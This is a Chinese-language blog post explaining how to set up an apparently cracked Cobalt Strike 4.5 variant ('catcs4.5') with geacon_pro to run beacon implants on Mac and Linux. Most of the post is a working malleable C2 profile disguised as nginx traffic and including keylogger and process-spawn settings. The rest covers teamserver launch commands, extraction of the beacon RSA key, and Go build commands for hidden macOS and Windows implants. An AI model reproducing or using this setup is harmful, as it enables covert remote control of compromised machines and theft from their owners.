首页 > 系统相关 >geacon_pro配合catcs4.5上线Mac、Linux

geacon_pro配合catcs4.5上线Mac、Linux

时间:2023-08-17 20:11:34浏览次数:44  
标签:set catcs4.5 pro header Mac geacon https go

最新最全文章见我个人博客: xzajyjs.cn


一些链接

Try师傅的catcs4.5项目: https://github.com/TryGOTry/CobaltStrike_Cat_4.5,最新版解压密码见:https://www.nctry.com/2708.html

geacon_pro: https://github.com/testxxxzzz/geacon_pro

BeaconTool.jar: https://xzajyjs.lanzouc.com/i76gk15ncw0j,密码:0*rL~F8<Mq


catcs4.5部署

修改server端和client端的properties,保持一致。

这里使用默认的geacon_profile进行测试,上传到server端,保存为geacon.profile:

set sleeptime "3000";

https-certificate {
    set C "KZ";
    set CN "foren.zik";
    set O "NN Fern Sub";
    set OU "NN Fern";
    set ST "KZ";
    set validity "365";
}

http-get {

	set uri "/www/handle/doc";

	client {
		metadata {
			base64url;
			prepend "SESSIONID=";
			header "Cookie";
		}
	}

	server {
		header "Server" "nginx/1.10.3 (Ubuntu)";
    		header "Content-Type" "application/octet-stream";
        	header "Connection" "keep-alive";
        	header "Vary" "Accept";
        	header "Pragma" "public";
        	header "Expires" "0";
        	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";

		output {
			mask;
			netbios;
			prepend "data=";
			append "%%";
			print;
		}
	}
}

http-post {
	set uri "/IMXo";
	client {
		
		id {				
			mask;
			netbiosu;
			parameter "doc";
		}

		output {
			mask;
			base64url;
			prepend "data=";
			append "%%";		
			print;
		}
	}

	server {
		header "Server" "nginx/1.10.3 (Ubuntu)";
    		header "Content-Type" "application/octet-stream";
        	header "Connection" "keep-alive";
       	 	header "Vary" "Accept";
        	header "Pragma" "public";
        	header "Expires" "0";
        	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";
          
		output {
			mask;
			netbios;
			prepend "data=";
			append "%%";
			print;
		}
	}
}

post-ex {
    set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe";
    set spawnto_x64 "c:\\windows\\system32\\rundll32.exe";
    
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
    set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
    set keylogger "SetWindowsHookEx";
}

然后修改CatServer.properties中的参数CatServer.profile为我们生成的profile文件

CatServer.profile = geacon.profile

运行服务端

chmod +x teamserver TeamServer.prop
sudo ./teamserver

image-20230817173558007

客户端连接

image-20230817173632855

image-20230817173813029

接下来生成一个监听器listener,主要要使用https,如果是http需要将geacon_proconfig.gosslHTTP改成"http://"

image-20230817174311268

生成geacon_pro

git clone https://github.com/testxxxzzz/geacon_pro.git
cd geacon_pro

如果使用readme中默认的profile的话config.go中有两处需要修改,

image-20230817174025846

获取RsaPublicKey

使用BeaconTool工具,读取server端的隐藏文件.cobaltstrike.beacon_keys

java -jar BeaconTool.jar -i .cobaltstrike.beacon_keys -rsa

image-20230817174511150

复制其中的PUBLIC KEY至config中对应位置,修改C2地址为监听器的url

go编译生成geacon,例如:

# arm mac
export GOOS="darwin" && export GOARCH="arm64" && go build -ldflags "-s -w" main.go
# x86 windows
export GOOS="windows" && export GOARCH="amd64" && go build -ldflags "-H windowsgui -s -w" main.go

image-20230817174824822

观察到上线成功

image-20230817175243122

标签:set,catcs4.5,pro,header,Mac,geacon,https,go
From: https://www.cnblogs.com/xzajyjs/p/17638743.html

相关文章

  • 关于 beforeinstallprompt 事件
    当浏览器检测到网站可以作为渐进式Web应用程序安装时,会触发beforeinstallprompt事件。没有保证触发此事件的时间,但它通常发生在页面加载时。此事件的典型用途是,当Web应用程序想要提供自己的应用程序内UI邀请用户安装该应用程序时,而不是浏览器提供的通用UI时。这使应......
  • 计算机视觉(Computer Vision),计算机图形学(Computer Graphics)和数字图像(Image Proce
    计算机视觉(ComputerVision),计算机图形学(ComputerGraphics)和数字图像(ImageProcessing)从学科分类:ComputerScience/ArtificialIntelligence/ComputerVisionComputerScience/ComputerGraphicsandVisualizationElectricalEngineering/SignalProcessing/Digit......
  • macbook-pro m2 芯片 vmfusion 安装 Ubuntu
    1、下载vmfusion13并安装2、下载UbuntuServerarm版本,并在vmfusion13中安装3、在UbuntuServer中安装desktop$sudoaptupdate$sudoaptinstalltasksel#查看可用的gui$tasksel--list-tasks#选择安装喜欢的gui$sudotaskselinstallgnome-deskt......
  • 【软硬件环境与工具使用】ProgIter介绍
    前言ProgiIter可以帮助你测量和打印迭代过程中的进度,区别于使用线程实现的tqdm,ProgIter是无线程的。选择不同的实现方式会产生不同的折中效果,严格来说,二者没有优劣之分。 参考1. GitHub-Erotemic/progiter:Printsloopprogress.Asingle-threadedalternativetotqdm.......
  • PromoxVE 7.x 安装问题
    日常使用PVE中会出现无法安装卡在安装界面上,如图所示:解决方法:Ctrl+Alt+F3,切换到#3shell界面cd/rootXorg-configurevixorg.conf.new找到Load"glx",在下面添加新的一行Disable"glamoregl"找到Driver"modesetting",替换成Driver"fbdev"保存退出cpxorg.conf.new/etc/X11/......
  • dpvs syn-proxy实现分析
    1 syn flood就是同步发送SYN数据包,这样的操作对于发送方(攻击者)来说是非常容易实现的,而对于接收方(目标)来说会需要消耗更多的资源去接收和处理数据包。除此之外,在发送完SYN数据包之后,我们不需要等待接收端返回的SYN/ACK数据包,我们只需要继续向对方发送SYN数据包并让服务器自己去处......
  • /proc/PID/maps 文件及示例说明
    文件及字段说明这个文件中的内容描述了进程的虚拟内存空间中的不同区域,包括代码段、数据段、堆、栈以及共享库等。每一行都代表了一个内存区域,并包含以下列:起始地址和结束地址:内存区域在虚拟内存空间中的起始地址和结束地址。权限:内存区域的访问权限,如读、写、执行等。偏移量......
  • mac m1 docker安装mysql
    1、拉取镜像dockerpullmysql/mysql-server2、启动服务dockerrun--namemysql-docker--restartalways--privileged=true\-p3306:3306\-eMYSQL_ROOT_PASSWORD="root"\-eTZ="Asia/Shanghai"\-d mysql/mysql-server说明:-d:后台运行容器-p:指定容器暴露......
  • Autodesk Inventor Professional 2024(三维可视化实体模拟软件)中文永久使用
    AutodeskInventorProfessional2024是一款功能强大的三维计算机辅助设计(CAD)软件,以下是对其的详细介绍:点击获取AutodeskInventorProfessional2024 三维建模工具:AutodeskInventorProfessional2024提供了丰富的三维建模工具,使用户能够创建复杂的实体模型。用户可以......
  • 3D Data Processing with Open3D
    Aquickwalkthroughonprocessing3DmodelswithPython’sOpen3Dlibrary(withaninteractiveJupyterNotebook)原文:https://towardsdatascience.com/3d-data-processing-with-open3d-c3062aadc72e  Inthisarticle,Iprovideaquickwalkthroughonhowto......